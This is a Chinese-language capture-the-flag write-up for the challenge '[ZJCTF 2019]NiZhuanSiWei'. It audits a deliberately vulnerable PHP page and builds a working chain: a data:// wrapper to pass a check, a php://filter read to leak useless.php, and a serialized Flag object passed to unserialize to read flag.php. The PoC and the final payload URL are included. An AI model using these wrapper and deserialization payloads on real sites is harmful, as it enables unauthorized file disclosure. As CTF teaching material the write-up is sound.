[ZJCTF 2019]NiZhuanSiWei

信息收集

打开页面又是代码审计

代码如下

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

代码审计

第一层

通过data伪协议模拟打开text文件

?text=data://text/plain,welcome to the zjctf

第二层

通过filter伪协议读取useless.php

file=php://filter/convert.base64-encode/resource=useless.php

进行base64解码后得到useless.php的内容

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三层

看样子是利用反序列化

• poc

<?php class Flag{ //flag.php public $file='flag.php'; public function __tostring() { if(isset($this->file)) { echo file_get_contents($this->file); echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); echo serialize($a); ?>

• 序列化的结果

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

• payload

?text=data://text/plain,welcome to the zjctf
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

返回结果的源码里面找到flag